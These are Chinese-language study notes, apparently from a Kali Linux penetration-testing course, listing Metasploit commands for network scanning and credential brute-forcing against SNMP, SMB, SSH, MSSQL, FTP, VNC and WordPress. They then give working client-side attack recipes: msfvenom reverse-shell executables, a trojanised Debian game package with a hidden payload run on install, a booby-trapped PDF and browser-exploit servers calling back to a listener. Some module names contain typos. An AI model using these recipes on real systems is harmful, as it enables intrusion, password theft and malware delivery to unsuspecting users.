笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程
所利用的模块基本在auxiliary/scanner/
目录中,同时也可以利用强大的nmap工具进行扫描,Metasploit中集成了db_nmap,把nmap扫描的结果存入数据库。
db_nmap -sn 10.10.11.151/24
在auxiliary/scanner/.目录下有非常多扫描模块,这里只介绍常用的部分
search arp
use auxiliary/acanner/discovery/arp_sweep
set INTERFACE eth0
set RHOSTS 10.10.11.151/24
set THREADS 20 #设置线程数
run
search portscan
use auxiliary/scanner/portscan/syn #也可以用ack、tcp连接等方式
set INTERFACE/RHOSTS/THREADS/PORTS
run #扫描指定主机的指定端口
空闲扫描原理:为了降低在扫描过程中被发现的概率,通常可以使用空闲扫描(idle scan),让僵尸机充当扫描任务,注意要找一台TCP序列预测成功率高的僵尸主机,这个僵尸主机必须尽可能的空闲,比如说网络打印机就是一个很好地选择,因为网络打印机不仅存在着恒定的网络资源,而且很难预测它们的TCP序列。具体如下:
(1)向僵尸主机发送SYN/ACK数据包,获得带有分片ID(IPID)的RST报文
(2)发送使用僵尸主机IP地址的伪数据包给目标主机
(3)如果目标主机端口关闭,就会向僵尸主机响应RST报文。如果目标端口开放,目标主机向僵尸主机响应SYN/ACK报文,僵尸主机发现这个非法连接响应,并向目标主机发送RST报文,此时IPID号开始增长。
(4)通过向僵尸主机发送另一个SYN/ACK报文已退出上述循环并检查将是主机RST报文中的IPID是否每次增长2,同时目标主机的RST每次增长1。
(5)重复上述步骤直到检测完所有的端口
#首先要发现ipid递增的僵尸机
search ipid
use auxiliary/scanner/ip/ipidseq
set INTERFACE/RHOSTS/THREADS
run
#然后使用nmap进行空闲扫描
db_nmap -Pn -sI 10.10.11.113 10.10.11.122
use auxiliary/acanner/discovery/udp_sweep
set RHOSTS 10.10.11.120-10.10.11.160
run
use auxiliary/scanner/discovery/udp_probe
set RHOSTS 10.10.11.120-10.10.11.160
run #两个模块扫描类似
#psnuffle模块支持从pcap抓包文件中提取密码
#功能类似dsniff
#目前只支持pop3、imap、ftp、http get协议
use auxiliary/sniffer/psnuffle
set PCAPFILE #设置该参数后,run会从此pcap文件中提取账号密码
简单网络管理协议(Simple Network Managemant Protocol,SNMP)能够对网络节点设备的接口流量、数据等信息进行统计,当然后按一定的格式保存起来。用户设备向路由器发送请求,获取数据,数据的格式和内容就是SNMP所规定的,采用UDP 161端口通信。
#针对Linux系统
vim /etc/default/snmpd #虚拟机中侦听地址默认为自身,先需要将侦听地址修改为0.0.0.0
use auxiliary/scanner/snmp/snmp_login #需要设置爆破密码的字典
set PASS_FILE/THREAD/RHOSTS
run
use auxiliary/scanner/snmp/snmp_enum #枚举snmp的配置信息
set RHOSTS
run
#针对Windows系统
use auxiliary/scanner/snmp/snmp_enumusers
use auxiliary/scanner/snmp/snmp_enumshares
#输入用户名和密码后的消息会更具体
use auxiliary/scanner/smb/smb_version #SMB版本、系统版本扫描
use auxiliary/scanner/smb/pipe_auditor #扫描命名管道,判断SMB服务类型
use auxiliary/scanner/smb/smb_enumusers #枚举用户
use auxiliary/scanner/smb/smb_enumshares #枚举共享
use auxiliary/acanner/ssh/ssh_version #SSH版本、系统版本扫描
use auxiliary/acanner/ssh/ssh_login #SSH密码爆破
set RHOSTS/USER_FILE/PASS_FILE
run
use auxiliary/scanner/ssh/ssh_login_pubkey #SSH公钥登录
set KEY_FILE id_rsa
set USERNAME root
run
use post/windows/gather/enum_patches
set SESSION x #基于已经获取的session x,其中KB表示补丁编号(在微软官网上可以找到补丁编号)
run #查询目标主机是否缺少设置的KB补丁,并列出缺少可能存在的漏洞
注:KB4012598是永恒之蓝漏洞补丁
mssql是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,mssql利用TCP 1443端口(动态)或者UDP 1434端口。
use auxiliary/scanner/mssql/mssql_ping #扫描mssql端口
use auxiliary/scanner/mssql/mssql_login #爆破mssql密码
use auxiliart/scanner/mssql/mssql_exec #破解数据库密码后,远程执行代码
use auxiliary/scanner/ftp/ftp_version #扫描ftp版本
use auxiliary/scanner/ftp/ftp_anonymous #确认ftp服务是否是匿名登录
use auxiliary/scanner/ftp/ftp_login #ftp密码爆破登录
VNC指虚拟网络控制台的,是一款远程控制工具
use auxiliary/scanner/vnc/vnc_login #VNC密码破解
set BLANK_PASSWORDS yes #空密码检查开启
use auxiliart/scanner/vnc/vnc_none_auth #判断VNC是否无认证访问
#远程桌面服务端口3389
use auxiliary/scanner/rdp/ms12_020_check #扫描目标主机是否存在RDP漏洞
use auxiliary/scanner/ssh/juniper_backdoor #检测目标主机是否存在juniper漏洞
use auxiliary/scanner/ssh/fortinet_backdoor #检测目标主机是否存在fortinet漏洞
use auxiliary/scanner/vmware/vmauthd_login #ESXi密码爆破
use auxiliary/scanner/vmware/vmware_enum/vms #爆破密码后,列出ESXi所有的虚拟机,然后进一步进行管理
use auxiliary/admin/vmware/poweron_vm #进一步远程开启虚拟机
use auxiliary/scanner/http/cert #查看证书是否过期
use auxiliary/scanner/http/dir_listing #查看是否存在目录列出的漏洞
use auxiliary/scanner/http/files_dir #爬取文件目录
use auxiliary/scanner/http/dir_webdav_unicode_bypass #WebDAV Unicode编码身份验证绕过
use auxiliary/scanner/http/tomcat_mgr_login #Tomcat管理登录
use auxiliary/scanner/http/verb_auth_bypadd #基于HTTP方法的身份绕过
use auxiliary/scanner/http/wordpress_login_enum
set URI /wordpress/wp-login.php #Wordpress密码爆破
WEB漏洞扫描可以用WMAP插件,WAMP会调用MSF的扫描模块
load wmap
wmap_sites -a http://1.1.1.1 #要扫描的目标网站
wmap_sites -l #列出扫描的目标
wmap_targets -t http://1.1.1.1/mutillidae/index.php #指定具体的站点目标
wmap_run -t #-t表示wmap调用的扫描模块
Metasploit没有专门开发漏扫工具,而是采用调用目前已经非常成熟的漏扫软件,结合漏扫报告或者调用插件完成漏洞扫描功能。可以先用扫描器(nessus、openvas等)扫描目标,导出扫描报告,然后用MSF导入报告文件:(较为直观,常用)
db_import openvas.nbe #导入openvas的扫描文件openvas.nbe
也可以加载插件,如:
load nessus
nessus_help
nessus_connect admin:[email protected] #连接nessus服务器
nessus_pulicy_list #查看nessus服务器扫描策略
nessus_scan_new POLICY_UUID #创建POLICY_UUID策略扫描任务
nessus_scan_launch SCAN_ID #执行扫描SCAN_ID
nessus_report_list #列出扫描报告
在无法突破网络边界的情况下转而攻击客户端,利用含有漏洞利用代码的WEB站点,或含有漏洞的文档,或者上传Payload,诱使攻击目标访问这些文件。
msfvenom是Metasploit的Payload生成器,利用其可以生成针对不同平台的木马脚本
msfvenom -a x64 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\x00" -e x86/shikata -i 9 -f exe -o 1.exe
# -x和-k参数一般同时使用
# -x:表示与现有软件绑定在一起
# -k:表示在现有程序基础上另开一个线程运行,这样才不会覆盖原程序
handler模块是一个生成在metasploit框架外执行的程序的平台,用于启动端口侦听,为反弹shell提供接口
use exploit/multi/handler #反弹shell前提是攻击方要开启端口监听
set payload windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
exploit #启动端口侦听,攻击目标运行1.exe后,就会反弹至服务器端
apt-get --download-only install freesweep #下载扫雷游戏DEB包
dpkg -x freesweep_0.90-1_i386.deb free #解压下载的DEB包到free目录
mkdir free/DEBIAN && cd free/DEBIAN
vim control #创建控制文件
vim postinst #安装DEB后执行的shell脚本
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\00" -f elf -o /root/free/usr/games/freesweep_scores
chmod 755 postinst
dpkg-deb --build /root/free #重新打包生成DEB包
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
exploit #启动端口侦听,攻击目标运行1.exe后,就会反弹至服务器端
一般用户对运行外部可执行文件都有防范,攻击目标中招的可能性较低,因此要进一步将payload植入隐蔽性较强的文件。
use exploit/windows/fileformat/adobe_utilprintf
set payload windows/meterpreter/reverse_tcp #尽量选择meterpreter的shell,因为功能较多
set RHOST/RPORT
exploit #构造pdf文件
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
exploit #启动端口侦听,攻击目标运行pdf文件后,就会反弹至服务器端
use exploit/windows/browser/adobe_utilprintf #构造恶意网站
set SRVPORT 80
set URI / #URI如果不指定,则会生成随机码地址
set payload windows/meterpreter/reverse_tcp
run
#攻击者一旦访问构造的URL,就会反弹shell
use exploit/multi/browser/adobe_flash_hacking_team_uaf #生成URL,用户一旦访问,并且客户端Flash存在漏洞,就会反弹shell给服务器端
use exploit/multi/browser/adobe_flash_opaque_background_uaf #同上
use auxiliary/server/browser_autopwn2 #与以上不同的是无需设置payload,该模块会自动指定评级较高的payload,启动多个进程
use exploit/windows/browser/ms14_064_ole_code_exe
set SRVPORT/URIPATH/LHOST/payload
run #原理同上
#访问网站有java漏洞利用代码,客户端JRE如果存在漏洞,一旦访问运行就会中招
use exploit/multi/browser/java_jre17_driver_manager
use exploir/multi/browser/java_jre17_jmxbean
use exploir/multi/browser/java_jre17_reflection_types
use payload/android/meterpreter/reverse_tcp
generate -f a.apk -p android -t raw